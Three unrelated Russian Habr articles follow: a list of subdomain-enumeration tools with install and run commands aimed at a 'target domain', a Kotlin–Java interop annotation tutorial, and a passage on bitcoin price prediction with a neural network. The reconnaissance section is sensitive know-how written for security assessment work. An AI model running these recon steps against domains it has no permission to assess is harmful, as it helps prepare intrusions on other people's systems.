1. [Censys](https://habrahabr.ru/company/hosting-cafe/blog/312954/#Censys)
2. [Pentest-Tools](https://habrahabr.ru/company/hosting-cafe/blog/312954/#Pentest-Tools)
3. [DNS Dumpster](https://habrahabr.ru/company/hosting-cafe/blog/312954/#DNSDumpster)
4. [Sublist3r](https://habrahabr.ru/company/hosting-cafe/blog/312954/#Sublist3r)
5. [Netcraft](https://habrahabr.ru/company/hosting-cafe/blog/312954/#Netcraft)
6. [CloudPiercer](https://habrahabr.ru/company/hosting-cafe/blog/312954/#CloudPiercer)
7. [Detectify](https://habrahabr.ru/company/hosting-cafe/blog/312954/#Detectify)
8. [SubBrute](https://habrahabr.ru/company/hosting-cafe/blog/312954/#SubBrute)
9. [Knock](https://habrahabr.ru/company/hosting-cafe/blog/312954/#Knock)
10. [DNSRecon on Kali Linux](https://habrahabr.ru/company/hosting-cafe/blog/312954/#DNSRecon)
**1. Censys**
В первую очередь для поиска поддоменов, как правило, прибегают к [Censys](https://censys.io/). Помимо поддомена вы можете найти еще много интересного, а именно:
* данные об IP (может быть полезно для [поиска реального IP-адреса](https://geekflare.com/test-origin-ip-exposed/));
* данные о сертификате;
* открытые порты;
* SSL/TLS протокол рукопожатия и алгоритмы шифрования (полезно при поиске слабых шифров/протоколов).
Вы получите неплохой обзор сведений о домене.
**2. Pentest-Tools**
С помощью [Pentest-Tools](https://pentest-tools.com/information-gathering/find-subdomains-of-domain) при поиске поддомена можно воспользоваться несколькими методами, например: передача зоны DNS, перебор DNS на основе списка слов или использование поисковой системы.
Результаты поиска можно сохранить в формате PDF.
**3. DNS Dumpster**
[DNS Dumpster](https://dnsdumpster.com/) — это инструмент для поиска информации о домене и хосте. Авторы проекта — HackerTarget.com.
Вы сможете найти сведения не только о поддомене, но и о DNS сервере, MX и TXT записях, а также получить графическое представление информации о вашем домене.
**4. Sublist3r**
[Sublist3r](https://github.com/aboul3la/Sublist3r) — это инструмент на языке Python для обнаружения поддоменов с помощью поисковых систем. На сегодняшний день Sublist3r поддерживает Google, Yahoo, Bing, Baidu, Ask, Netcraft, Virustotal, ThreatCrowd, DNSdumpster and PassiveDNS.
Sublist3r поддерживает только Python версии 2.7 и зависит от нескольких библиотек.
Вы можете использовать этот инструмент в Windows, CentOS, RedHat, Ubuntu, Debian и любой другой ОС на базе UNIX. Ниже приводится пример для CentOS.
* Зайдите на ваш Linux-сервер;
* Скачайте последнюю версию [Sublist3r](https://github.com/aboul3la/Sublist3r/archive/master.zip)
```
wget https://github.com/aboul3la/Sublist3r/archive/master.zip
```
Распакуйте скачанный файл:
```
unzip master.zip
```
* Будет создана новая папка “Sublist3r-master”
Как я ранее упоминал, существуют следующие зависимости, для установки которых можно воспользоваться командой yum:
```
yum install python-requests python-argparse
```
Теперь все готово для обнаружения поддоменов с помощью следующей команды:
```
./sublist3r.py -d yourdomain.com
```
Как видите, инструмент обнаружил мои поддомены.
**5. Netcraft**
[Netcraft](http://searchdns.netcraft.com/) располагает обширной базой данных о доменах и ее не стоит обходить стороной при поиске открытой информации о поддоменах.
Результат поиска будет содержать всю информацию о домене и поддоменах, в том числе дату первого просмотра, диапазоне адресов и информацию об операционной системе. Если вам необходимо получить больше информации о сайте, просто откройте отчет о сайте и вам будет предоставлена уйма информации о технологиях, рейтинге и т.д.
**6. CloudPiercer**
[CloudPiercer](https://cloudpiercer.org/) может иногда оказаться полезным при поиске информации о том, существует ли поддомен вашего домена. Кстати, CloudPiercer — это потрясающий и простой способ узнать защищен ли фактический IP-адрес вашего сайта.Открытая информация об IP-адресе делает ваш сайт уязвимым для DDoS-атак.
**7. Detectify**
[Detectify](https://detectify.com/) осуществляет поиск поддоменов по предопределенному списку из нескольких сотен слов, но только в случае, если вы являетесь собственником домена. Тем не менее, если вы являетесь зарегистрированным пользователем Detectify, вы сможете включить функцию обнаружения поддоменов в разделе overview в настройках.
**8. SubBrute**
[SubBrute](https://github.com/TheRook/subbrute) — это один из самых популярных и точных инструментов перечисления поддоменов. Проект разработан сообществом и использует открытый определитель имен в качестве прокси, так что SubBrute не отправляет трафик на целевой DNS-сервер.
Это не онлайн-инструмент, так что вам придется установить его на компьютер. SubBrute можно использовать на Windows или UNIX системах. Программу установить очень легко. Ниже пример для CentOS/Linux.
* Зайдите на ваш Linux-сервер
* Скачайте последнюю версию [SubBrute](https://github.com/TheRook/subbrute/archive/master.zip)
```
wget https://github.com/TheRook/subbrute/archive/master.zip
```
* Распакуйте скачанный zip-файл
```
unzip master.zip
```
Будет создана новая папка “subbrute-master”. Зайдите в папку и выполните subbrute.py с необходимым доменом.
```
./subbrute.py yourdomain.com
```
Операция займет несколько секунд и отобразятся найденные поддомены.
**9. Knock**
[Knock](https://github.com/guelfoweb/knock) — еще один инструмент на языке Python для обнаружения поддоменов. Он протестирован для Python 2.7.6. Knock находит поддомены целевого домена по списку слов.
* Knock можно установить на ОС на базе Linux.
```
wget https://github.com/guelfoweb/knock/archive/knock3.zip
```
* Распакуйте скачанный zip-файл командой unzip
```
unzip knock3.zip
```
* В результате будет создана новая папка “knock-knock3”
* Зайдите в папку и установите с помощью следующей команды
```
python setup.py install
```
После установки вы можете производить поиск поддоменов следующим образом:
```
./knockpy.py yourdomain.com
```
**10. DNSRecon для Kali Linux**
[Kali Linux](https://geekflare.com/kali-linux-installation-guide-vmware/) — это отличная платформа для оценки информационной безопасности и на ней можно использовать DNSRecon без дополнительной установки каких-либо инструментов.
DNSRecon проверяет все NS-записи на предмет смены зон, общие записи DNS, обработку шаблонов, PTR-записи и т.д.
Чтобы воспользоваться DNSRecon, просто выполните следующую команду
```
dnsrecon –d yourdomain.com
```
Надеюсь, что с помощью приведенных выше инструментов вы сможете обнаружить поддомены целевого домена в рамках вашей работы по оценке информационной безопасности. Сообщите мне, какой вам понравился больше всего.
*Хочу напомнить, что недавно заработал проект на который мы собрали более 8.5 тысяч отзывов с различных форумов о 344 хостерах — [Poisk.Hosting](http://poiskhostinga.ru). На сайте [VDS.menu](https://vds.menu) все еще можно найти виртуальные серверы, а на [SHARED.menu](https://shared.menu) — виртуальный хостинг.* | https://habr.com/ru/post/312954/ | null | ru | null |
# Искусство аннотирования: пишем Java-friendly код на Kotlin
Привет, Хабр!
Сегодня мы затронем важнейшую тему: интероперабельность Java и [Kotlin](https://www.piter.com/collection/new/product/head-first-kotlin). Авторы предлагаемой публикации разумно предполагают, что переписать на Kotlin базу кода, сделанную на Java, маловозможно. Поэтому правильнее обеспечить взаимодействие кода на Java и Kotlin. Читайте, как это можно сделать при помощи аннотаций.
Думаю, вы открыли эту статью по следующим причинам:
1. Наконец-то решили попробовать Kotlin.
2. Он вам понравился, что, впрочем, неудивительно.
3. Решили использовать Kotlin повсюду
4. Столкнулись с суровой реальностью: от Java совсем отказаться не получается, как минимум, малой кровью.
Почему?
Если Kotlin такой классный, почему бы не использовать его везде и всегда? Вот, навскидку, пара сценариев, в которых это невозможно:
1. Когда вы пытаетесь медленно перенести всю вашу базу кода на Kotlin, вы заметите, что попадаются такие файлы, к которым попросту страшно применить команду `Convert Java to Kotlin file`. Если у вас есть время на рефакторинг – займитесь им! Однако, в реальном проекте время на рефакторинг найдется не всегда.
2. Ваш код будут использовать программисты, работающие как с Java, так и с Kotlin. Вы не можете (или не должны) вынуждать их всех использовать конкретный язык, особенно если поддержка обоих языков не потребует от вас больших усилий (естественно, я говорю об аннотациях).
Здесь мы рассмотрим несколько аннотаций, обеспечивающих интероперабельность между Java и Kotlin!
**Аннотации Java**
***JvmField***
* Что она делает? Приказывает компилятору Kotlin не генерировать геттеры и сеттеры для данного свойства и предоставить его как поле.
* Наиболее распространенный практический случай: предоставить поля объекта-компаньона.
Как это работает?
Допустим, вы определяете поле внутри `object / companion object` в Kotlin:
```
object Constants {
val PERMISSIONS = listOf("Internet", "Location")
}
```
Если вы попытаетесь вызвать эту функцию из Java, то придется написать:
```
Utils.INSTANCE.getPERMISSIONS()
```
Очень много кода для простого поля! Чтобы сделать код чище, давайте уберем лишнее, добавив аннотацию.
```
object Constants {
@JvmField
val PERMISSIONS = listOf("Internet", "Location")
}
```
Теперь наш код на Java будет выглядеть так:
```
Utils.PERMISSIONS;
```
Того же самого можно достичь и при помощи модификатора, однако, такой модификатор работает лишь с примитивными типами или строками.
```
//Kotin
object Constants {
const val KEY = "test"
}
```
```
//Java
String key = Constant.KEY;
```
Когда эту аннотацию нельзя использовать?
Свойства `const`, помеченные как and-функции, нельзя аннотировать `@JvmField`
***JvmStatic***
* Что она делает? Если она используется с функцией, то указывает, что из этого элемента должен быть сгенерирован дополнительный статический метод. Если она используется со свойством, то будут генерироваться дополнительные статические методы-геттеры и методы-сеттеры.
* Наиболее распространенный практический случай: предоставление членов (функций, свойств) из объекта-компаньона.
Как это работает?
Допустим, вы определяете функцию в `object` в Kotlin:
```
object Utils {
fun doSomething(){ ... }
}
```
Если попытаетесь вызвать эту функцию из Java, то придется написать:
```
Utils.INSTANCE.doSomething()
```
Нам приходится обращаться к объекту `INSTANCE` всякий раз, когда мы хотим вызвать эту функцию. Чтобы сделать код чище, давайте лучше воспользуемся аннотацией `@JvmStatic`.
```
object Utils {
@JvmStatic
fun doSomething(){ ... }
}
```
Теперь, вызывая эту функцию из Java, мы должны будем написать всего лишь:
```
Utils.doSomething();
```
Так гораздо лучше, не правда ли? Ситуация такова, как если бы функция была исходно написана на Java как статический метод.
Также аннотации можно применять и к полям:
```
object Utils {
@JvmStatic
var values = listOf("Test 1", "Test 2")
}
```
Вызывая этот код из Java, можно написать:
```
Utils.getValues();
```
Обратите внимание: `JvmField` предоставляет член как поле, но с `JvmStatic` мы предоставляем функцию `get`.
А поскольку поле это `var`, также генерируется метод `set`:
```
Utils.setValues(...);
```
Если у нас внутри нашего объекта есть константа, то ее мы тоже можем объявить как статическую:
```
object Utils {
@JvmStatic
val KEY = "test"
}
```
Однако, в данном случае использование аннотации – не лучшая идея, поскольку вызов на инвокацию выглядел бы так:
```
public void foo(){
String key = Utils.getKEY();
}
```
В таком случае используйте модификатор const или JvmField, как было объяснено выше.
Когда ее нельзя использовать?
Член нельзя аннотировать JvmStatic, когда он сопровождается модификатором `open`, `override` или `const`.
В такой ситуации код не скомпилируется:
***JvmOverloads***
* Что она делает? Приказывает компилятору Kotlin сгенерировать перегрузки для данной функции, которая заменяет значения параметров, заданные по умолчанию.
* Что такое “перегрузка”? В Kotlin у вашей функции могут быть параметры по умолчанию, благодаря чему можно вызывать одну и ту же функцию различными способами. Чтобы достичь того же в Java, пришлось бы вручную определять каждую отдельную вариацию этой функции. Каждая из таких автоматически сгенерированных вариаций называется «перегрузкой». Наиболеее распространенный вариант использования: перегрузка конструкторов классов. Да, такой прием работает с любой функцией, у которой есть параметры по умолчанию.
Как это работает?
Если у вас есть класс с конструктором (или любой другой функцией) с параметрами, заданными по умолчанию…
```
class User constructor (
val name: String = "Test",
val lastName: String = "Testy", val age: Int = 0
)
```
… то вы сможете вызывать такую функцию из Kotlin различными способами:
```
val user1 = User()
val user2 = User(name = "Bruno")
val user3 = User(name = "Bruno", lastName = "Aybar")
val user4 = User(name = "Bruno", lastName = "Aybar", age = 21)
val user5 = User(lastName = "Aybar")
val user6 = User(lastName = "Aybar", age = 21) val user7 = User(age = 21)
val user8 = User(age = 21, name = "Bruno")
...
```
Однако, если вы попытаетесь вызвать конструктор из Java, у вас будет всего два варианта: 1) передать все параметры или 2) только в случае, когда у ВСЕХ ваших параметров есть значения по умолчанию, можно не передавать вообще никаких параметров.
Если мы хотим создать перегрузки, то можем воспользоваться аннотацией `JvmOverloads`:
```
class User @JvmOverloads constructor ( val name: String = "Test",
val lastName: String = "Testy", val age: Int = 0
)
```
Теперь при использовании Java у нас появляется множество возможностей:
Однако, в Kotlin в данном случае вариантов не так много. Например, мы не сможем передать только фамилию или только возраст.
Аннотация `JvmOverloads` сгенерирует лишь столько перегрузок, сколько есть у функции параметров, заданных по умолчанию.
* Если у вас есть функция, то ее можно пометить как `JvmOverload`. Можно даже скомбинировать ее с другими аннотациями, например, с `JvmStatic`.
* Когда ее не следует использовать? Эта аннотация бесполезна, если у функции нет параметров, заданных по умолчанию.
***[file](https://habr.com/ru/users/file/):JvmName***
* Что она делает? Указывает имя для класса или метода Java, генерируемого из данного элемента.
* Наиболее распространенный случай: дать более красивое имя файлу Kotlin. Однако, эта аннотация применима не только с файлами, но и с функциями, а также с методами для доступа к свойствам (геттерами и сеттерами).
Как она работает?
В Kotlin, где функции являются привилегированными элементами, можно писать функции, существующие вне класса. Например, если вы создаете новый файл Kotlin и пишете следующий код, то он скомпилируется без проблем:
```
//file name: Utils.kt
fun doSomething() { ... }
```
Можно вызвать этот код из Java:
```
UtilsKt.doSomething();
```
Обратите внимание: хотя файл и называется Utils, при вызове используется имя `UtilsKt`, а это не идеально. Чтобы это исправить, давайте добавим сверху файла аннотацию `JvmName`.
```
// имя файла: Utils.kt
@file:JvmName("Utils")
fun doSomething() { ... }
```
Обратите внимание, как используется префикс `file:`. Вероятно, вы уже догадались: он указывает, что используемая нами аннотация применяется на уровне файлов. Если вызвать следующий код из Java:
```
Utils.doSomething();
```
То также можно аннотировать функции:
```
// имя файла: Utils.kt @file:JvmName("Utils")
@JvmName("doSomethingElse")
fun doSomething() { ... }
```
При вызове этого кода из Kotlin, мы все равно будем пользоваться оригинальным именем (`doSomething`), но в Java мы используем имя, указанное в аннотации:
```
//Java Utils.doSomethingElse();
//Kotlin Utils.doSomething()
```
Эта возможность не кажется особенно полезной, однако, с ее помощью можно разрешать конфликты сигнатур. Этот сценарий отлично разобран в [официальной документации](https://kotlinlang.org/docs/reference/java-to-kotlin-interop.html#handling-signature-clashes-with-jvmname).
Здесь можно работать и с методами для доступа к свойствам:
```
class User {
val likesKotlin: Boolean = true
@JvmName("likesKotlin") get() = field
}
```
Смотрите, как будет выглядеть этот вызов в Java с аннотацией и без нее:
```
// Без аннотации
new User().getLikesKotlin()
// С аннотацией
new User().likesKotlin()
```
Того же самого можно достичь при помощи префикса `get`.
```
class User {
@get:JvmName("likesKotlin")
val likesKotlin = true
}
```
* В каких случаях можно использовать такую возможность? С файлами, функциями, методами для доступа к свойствам. Однако, обязательно ставьте нужные префиксы в случае необходимости.
* Когда ею не следует пользоваться? Если произвольно задать функции альтернативное имя, то можно устроить большую путаницу. Пользуйтесь этой аннотацией осторожно, а если применяете – то применяйте согласованно.
Надеюсь, вам пригодился этот обзор аннотаций, помогающий писать на Kotlin код, удобный для использования с Java. | https://habr.com/ru/post/473170/ | null | ru | null |
# В поисках «Годзиллы». Нейросети и прогнозирование котировок на основе биржевых и «внешних» данных
Эта работа вдохновлена статьей [«Мечтают ли нейросети об электроденьгах?»](https://habr.com/ru/post/488568/), где автор без преувеличения талантливо в своей доходчивости объясняет, почему использование искусственных нейросетей на голых биржевых данных не приводит к успеху. Вот особенно, на мой взгляд, удачный отрывок:
> «Цена не формирует сама себя… Если рынок выразить как метафоричное озеро, то биржевой график это лишь рябь на воде. Может быть это ветер подул, может камень в воду бросили, может рыбы плеснула, может Годзилла прыгает в 200 километрах на батуте. Мы видим лишь рябь.»
Действительно, пытаться предсказать поведение ряби на следующий день, имея в распоряжении только лишь данные о поведении ряби в прошлом, видится, как минимум, самонадеянным. Не тот масштаб модели. Поведение водной глади формируется за счет множества внешних и внутренних по отношению к водоему факторов. И вот на этом моменте мое любопытство не позволило мне пройти мимо. А что если все-таки поработать с этими факторами? Что получится, если учесть их в модели данных, предназначенных для «кормежки» нейросети?
«Но как же учесть миллионы, если не миллиарды возможных факторов влияющих на наш метафорический водоем?» — спросите вы. А я отвечу, что нас не интересуют ни движение мальков, ни случайно упавший с близлежащей скалы камушек, ни мерное покачивание удочки Дяди Вити-рыбака. Нас интересует Годзилла.
Справедливости ради стоит отметить, что автор вдохновившей меня статьи не исключает возможности увеличения прогностической точности нейросети, если учесть все множество отмеченных факторов. Тем не менее, в упомянутой статье рассуждения об их природе сводятся к пределу детализации — к человеку. А именно, к учету состояния (психического, психологического, физиологического, финансового и т.д.) каждого конкретного участника рынка. Этооо… дорого. Дорого настолько, что неразумно.
Я же в своей работе обращаюсь к гипотезе, что поведение участников торгов предваряют события, которые это поведение определяют. Я предполагаю что в паре «События»/«Поведение пользователей» «События» все же метафорическая собака, а «Поведение пользователей» — метафорический хвост, и собака, как положено, виляет хвостом, а не наоборот. Вот это самое предположение я и предлагаю нам с вами проверить.
Для тех, кто хочет сразу перейти к делу и поэкспериментировать самостоятельно — весь код и данные содержатся на [GitHub вот тут](https://github.com/AnkyDu77/Godzilla_searching).
Начнем
------
Сформулируем вопрос, на который будем искать ответ, более строго: «Увеличится ли эффективность прогнозирования поведения цены финансового актива нейронной сетью, при включении результатов анализа событийного потока в состав модели данных?»
Событие — понятие смутное и вольно трактуемое, потому будем его принудительно определять. Под событиями здесь и далее предлагаю понимать тематические новости на популярных ресурсах и транзакционную активность рассматриваемого финансового инструмента.
По отношению к анализу новостей, очевидно, разумным решением будет применить методы sentiment analisys, а в отношении транзакционной активности… «Стоп. Что за зверь эта ваша «транзакционная активность»?» — повис вопрос на лице читателя. Тут мы подошли к моменту, когда пора определить наш объект исследования.
Среди всего многообразия активов, для анализа я выбрал биткоин, и на то есть причина. Имя причины — блокчейн. Мне стало до жути интересно — как изменится предиктивная способность сети, если в модель данных мы добавим еще и динамику активности в самой сети биткоин? Сможем ли мы таким образом выявить «подводное течение» в нашем метафорическом водоеме? В конце концов, вдруг Годзилла в лучших традициях классического кинематографа прячется под водой?
Активность справедливо измерять в объемах переданных по сети криптомонет, информация о которых содержится в записях транзакций в блоках, собственно, блокчейна. Транзакция, в свою очередь, состоит из «входов» — это сумма монет, которую определенный кошелек принял, и «выходов» —это суммы монет, которые были (а) отправлены с определенного кошелька, (б) были возвращены на кошелек-отправитель в качестве «сдачи», (в) были уплачены в качестве комиссии майнерам. Поскольку суммы, указанные в качестве выходов транзакций на мой взгляд содержат больше информаци, в качестве мерила активности сети предлагаю использовать именно их.
Итак, прежде, чем отправиться в увлекательное путешествие, заглянем в список того, что должно находится в нашем инвентаре:
1. Данные о биржевых торгах;
2. Данные об активности в биткоин-сети;
3. Преобразованный поток тематических новостей;
4. TensorFlow + Keras — one love.
Пункт 3 — предмет для описания в ближайшем будущем, а вот со всем остальным мы поработаем сейчас.
Поиск данных
------------
Первое — данные о биржевых торгах. Найти их не должно быть тяжелой задачей. И действительно, быстрая пробежка по первым строкам результатов Google привела меня на [investing.com](https://www.investing.com/indices/investing.com-btc-usd-historical-data). Здесь забираем CVS с максимальной глубиной во времени и дневной детализацией.
*Пометка на полях: пользоваться рекомендую данными Investing.com Bitcoin Index, поскольку автоматически рекомендуемый Bitfinex Bitcoin US Dollar содержит бессовестные пропуски данных недельных масштабов.*
В чистом виде информацию об объеме выходов на каждый конкретный день мне найти не удалось, но не беда. Настойчивый поиск по теме привел на ресурс MIT, где инженеры кропотливо собирали детальную информацию по блокчейну биткойна в различных разрезах. Сам ресурс [тут](https://senseable2015-6.mit.edu/bitcoin/).
Из всего представленного перечня датасетов, нам понадобятся:
* bh.dat.gz — содержит хэш-суммы блоков. Формат: идентификатор блока (blockID), хэш-сумма (hash), временная метка записи блока в блокчейн (block\_timestamp), количество транзакций в блоке (n\_txs);
* tx.dat.xz — содержит информацию о транзакциях. Формат: идентификатор транзакции (txID), идентификатор блока, в который записана транзакция (blockID), количество входов (n\_inputs), количество выходов (n\_outputs);
* txout.dat.xz —содержит информацию о выходах для каждой транзакции. Формат: идентификатор транзакции (txID), порядковый номер (output\_seq), идентификатор адреса, куда отправляется выход (addrID), объем отправленных монет (sum).
Сопоставим данные файлов друг с другом следующим образом:
**Код для сопоставления таблиц**
```
import pandas as pd
#Loading bh.dat
mit_data = pd.read_table('.../bh.dat',
header=None, names=['blockID', 'hash','block_timestamp', 'n_txs'])
mit_data['block_timestamp'] = pd.to_datetime(mit_data['block_timestamp'], unit='s')
#Loading info about output of transactions
out_txs_all = pd.read_table('.../txout.dat',header=None,
names=['txID', 'output_seq','addrID', 'sum'])
#Loading info transaction overview dataset
mapping_dataset = pd.read_table('.../tx.dat', #The path to the tx.dat file
header=None, names=['txID', 'blockID','n_inputs', 'n_outputs'])
#Dropping needless columns in outputs dataset and summing up outputs values groupping them by 'txID'
out_txs_all.drop('output_seq',axis=1,inplace=True)
out_txs_all.drop('addrID',axis=1,inplace=True)
out_txs_all = out_txs_all.groupby('txID').sum().reset_index()
#Dropping needless columns in transactions dataset and adding outputs values
mapping_dataset.drop('n_inputs', axis=1,inplace=True)
mapping_dataset.drop('n_outputs', axis=1,inplace=True)
mapping_dataset['sum_outs'] = out_txs_all['sum']
#Now we can dropp 'txID' column since it's useless now.
#Then we group mapping_df by blockID and addup all sums to get btc_sum per particular block
mapping_dataset.drop('txID', axis=1, inplace=True)
mapping_dataset=mapping_dataset.groupby('blockID').sum().reset_index()
#Prepare mit_data to the next manipulations
mit_data.drop('hash', axis=1,inplace=True)
mit_data.drop('n_txs', axis=1,inplace=True)
#Now we just can get dates from sliced block_timestemp dataset and concatinate
#it with mapping_df since they have equals sizes and contains similar blocks.
mapping_dataset['Date'] = mit_data['block_timestamp']
mapping_dataset['sum_outs'] = mapping_dataset['sum_outs'].apply(lambda x: x/100000000) #Getting amount of bitcoins instead of satoshies
#Finally we are making a csv file
mapping_dataset.to_csv('../filename.csv', index=False)
```
На выходе получаем таблицу суммарного объема выходов, записанных в блокчейн биткоина с 17.07.2010 по 08.02.2018. И вроде все чудесно, только покоя не дает тот факт, что данные ограничиваются 08 февраля 2018 года. А ведь дальше занимательный период волатильности, начавшегося как раз в феврале 2018 года. А волатильность — это источник информации. Разбрасываться информацией — кощунство. Потому обращаемся к [API blockchain.com](http://blockchain.com/ru/api/blockchain_api/), потому как более удобного варианта я не нашел.
Получаем недостающие данные следующим образом:
**Код для парсинга блоков через API Blockchain.com**
```
import requests
import json
# Makeing timeline in unix time
limit_day = pd.to_datetime('2018-02-09')
datelist = pd.date_range(limit_day, periods=733).to_list()
date_series = pd.DataFrame(data=(datelist), columns=['Date'])
dt = pd.DatetimeIndex(date_series['Date']).astype(np.int64)//1000000
unix_mlseconds_lst = dt.to_list()
#Getting blocks hash list with timestamps
blocks_lst = []
for j in unix_mlseconds_lst:
request = requests.get('https://blockchain.info/blocks/'+str(j)+'?format=json')
parse_result = json.loads(request.content)
blocks_lst.append(parse_result['blocks'])
#Parsing json content for the final dataset
blockID = []
hashID = []
timestamp = []
for d_list in blocks_lst:
for dictionary in d_list:
blockID.append(dictionary['height'])
hashID.append(dictionary['hash'])
timestamp.append(dictionary['time'])
#Makeing additional bh-dataset
additional_bh = pd.DataFrame(data=(blockID,hashID,timestamp)).T
additional_bh.columns=['blockID','hash','timestamp']
additional_bh['timestamp']=pd.to_datetime(additional_bh['timestamp'], unit='s')
#Getting info about additional outputs
dates_out_sums = {}
for indx in range(len(additional_bh)):
request = requests.get('https://blockchain.info/rawblock/'+str(additional_bh['hash'][indx])) #Getting all info about block by it's hash
parse_result = json.loads(request.content)
block_outs_sum=[]
for i in parse_result['tx']: #Running through all txs to sum up all outputs
intermid_out_sum_values = []
for j in i['out']:
intermid_out_sum_values.append(j['value'])
block_outs_sum.append(sum(intermid_out_sum_values))
dates_out_sums[bh['timestamp'][indx]] = sum(block_outs_sum)
#Making dataframe of additional outputs
dates_out_sums_lst = dates_out_sums.items()
out_txs = pd.DataFrame(dates_out_sums_lst, columns=['Date', 'out_sums'])
out_txs['out_sums']=out_txs['out_sums'].apply(lambda x: x/100000000) #Making a series of bitcoins instead of satoshies
out_txs.to_csv('.../Data/additional_outs_dated(2018-02-09_2018-04-28).csv', index=False)
```
*Пометка на полях: качать информацию с blockchain.com оказалось делом, мягко говоря, небыстрым. В процессе работы над статьей, наряду с лопнувшим терпением, я получил данные из 11949 дополнительных блоков, что соответствует двум дополнительным месяцам. Я посчитал, что этого будет достаточно.*
Теперь объединяем полученные датасеты, и мы готовы к этапу предварительной обработки информации.
Data pre-processing
-------------------
Первое, что бросается в глаза, это формат данных нашего биржевого датасета.
Кроме того, что данные приведены в текстовом формате, выгрузка совсем некстати содержит запятые и разнородные ‘K’, и ‘M’ в значениях объемов, что не дает конвертировать данные во float-формат стандартными методами. Дотошное гугление рыночных данных с пристрастием не дало результатов такого же широкого временного диапазона. Что ж. Регулярные выражения Python, дайте мне силы!
**Код конвертера str во float**
```
import re
import pandas as pd
def strtofloatconvert(data):
#Converting series to list
price_lst = data['Price'].to_list()
open_lst = data['Open'].to_list()
high_lst = data['High'].to_list()
low_lst = data['Low'].to_list()
vol_lst = data['Vol.'].to_list()
change_lst = data['Change %'].to_list()
#Separating str by ',' sign exept Volume strings. It's got anoter
#format, like '294.8K' or '12.9M'. Volume we convert lower
sprt_prices = []
sprt_open = []
sprt_high = []
sprt_low = []
sprt_p = []
sprt_o = []
sprt_h = []
sprt_l = []
for price in price_lst:
sprt_p = re.split(r',',price)
sprt_prices.append(sprt_p)
for open_p in open_lst:
sprt_o = re.split(r',',open_p)
sprt_open.append(sprt_o)
for high in high_lst:
sprt_h = re.split(r',',high)
sprt_high.append(sprt_h)
for low in low_lst:
sprt_l = re.split(r',',low)
sprt_low.append(sprt_l)
#Adding splitted values together and converting them to float
add_p = []
add_o = []
add_h = []
add_l = []
add_v = []
add_ch = []
for p in sprt_prices:
if len(p) == 2:
a = p[0]+p[1]
a = float(a)
add_p.append(a)
else:
a = p[0]
a = float(a)
add_p.append(a)
for o in sprt_open:
if len(o) == 2:
a = o[0]+o[1]
a = float(a)
add_o.append(a)
else:
a = o[0]
a = float(a)
add_o.append(a)
for h in sprt_high:
if len(h) == 2:
a = h[0]+h[1]
a = float(a)
add_h.append(a)
else:
a = h[0]
a = float(a)
add_h.append(a)
for l in sprt_low:
if len(l) == 2:
a = l[0]+l[1]
a = float(a)
add_l.append(a)
else:
a = l[0]
a = float(a)
add_l.append(a)
#Working with zeroes in 'Vol.' in str_flt because it does not matter whether we put None or zero in empty space.
#Pandas will convert None into NaN wich is kind of float 'number'. It will not respond to pandas 'isnull()' function.
for v in vol_lst:
if v == '-':
add_v.append(0)
else:
exam = re.findall(r'K',v)
if len(exam)>0:
add = re.sub(r'K', '',v)
add = float(add)
add *= 1000
add_v.append(add)
else:
add = re.sub(r'M', '',v)
add = float(add)
add *= 1000000
add_v.append(add)
for i in change_lst:
add = re.sub(r'%', '',i)
add = float(add)
add_ch.append(add)
#Putting all lists above to the DataFrame
test_df = pd.DataFrame(data=(add_p, add_o, add_h, add_l,
add_v,add_ch)).T
test_df.columns = ['Price', 'Open', 'High', 'Low', 'Vol.', 'Change%']
return test_df
```
Другое дело.
Посмотрим на хвост полученного нами датафрейма.
267 элементов датасета не содержат информации о динамике изменения стоимости. Удалим их повышения общей информативности данных ради.
Теперь, поскольку мы собрались все же прогнозировать поведение цены в будущем, нам нужно организовать данные так, чтобы цена в момент времени Т соответствовала набору признаков T-n, где n — это дальность нашего горизонта прогноза. Предлагаю попытаться заглянуть в будущее для начала на один день вперед. Для этого мы удаляем последнее значение из перечня цен закрытия и первую строку соответствующих признаков.
```
price = test_df.pop('Price')
price = price.drop(price.index[-1])
test_df = test_df.drop(test_df.index[0])
test_df.index = np.arange(len(test_df))
test_df = pd.concat((price,test_df), axis=1)
```
Таким образом мы получаем имитацию реальной картины мира. Текущие цены будут прогнозироваться на основе вчерашних данных, а данные за сегодняшний день, соответственно, будут лежать в основе прогноза на день завтрашний.
Поскольку в процессе тестирования нашей нейросети тренировочная и тестовая выборки будут состоять из перемешанных значений подготовленного нами датасета, а нам с вами все-таки хочется посмотреть, как прогнозы будут соотноситься с реальными котировками, ради наглядности отщипнем от данных первые 45 строк из расчета тестирования результатов на промежутке длинной в полтора месяца.
```
PRACTICE_DS_SIZE = 45
later_testds_for_plot = test_df.iloc[:PRACTICE_DS_SIZE]
test_df = test_df.iloc[len(later_testds_for_plot):]
test_df = test_df.reset_index(drop=True)
```
Для предстоящей оценки эффективности модели, тренированной только на биржевых данных, пока что извлечем из датасета информацию об объемах выходов транзакций. Так же, за ненадобностью в процессе обучения и прогнозирования, извлечем даты.
```
timestamps = test_df.pop('Date')
sum_outs = test_df.pop('out_sums')
```
Делим датасет на тренировочную и тестовую выборки и извлекаем зависимую переменную — цену закрытия:
```
# Making train/test split
train = test_df.sample(frac=0.8, random_state=42)
test = test_df.drop(train.index)
#Setting targets
train_labels = train.pop('Price')
test_labels = test.pop('Price')
```
Полученные данные нормализуем.
```
def norm(train_data, data):
#Getting overall statistics
train_stats = train_data.describe()
train_stats = train_stats.transpose()
#Normalising data
normalized_data = (data - train_stats['mean']) / train_stats['std']
return normalized_data
```
Теперь проверим насколько эффектным будет обычный многослойный перцептрон, если ему скормить только лишь биржевые данные.
Тестирование нейронной сети
---------------------------
Покрутив некоторое время гиперпараметры, я получил следующую, наиболее оптимальную из всех изученных мной, конфигурацию нейросети:
**Код конфигурации нейронной сети**
```
def build_model():
model = keras.Sequential([
layers.Dense(32, activation='relu', input_shape=[len(train.keys())]),
layers.Dense(32, activation='relu'),
layers.Dense(32, activation='relu'),
layers.Dense(16, activation='relu'),
layers.Dense(1)
])
optimizer = tf.keras.optimizers.RMSprop(0.001)
model.compile(loss='mse',
optimizer=optimizer,
metrics=['mae', 'mse'])
return model
model = build_model()
model.summary()
EPOCHS = 500
# Patience parameter describes epoch amount testing on improvement
early_stop = keras.callbacks.EarlyStopping(monitor='val_loss', patience=10)
model.fit(normed_train_data2, train_labels2, epochs=EPOCHS,
validation_split = 0.2, verbose=0, callbacks=[early_stop, PrintDot()])
```
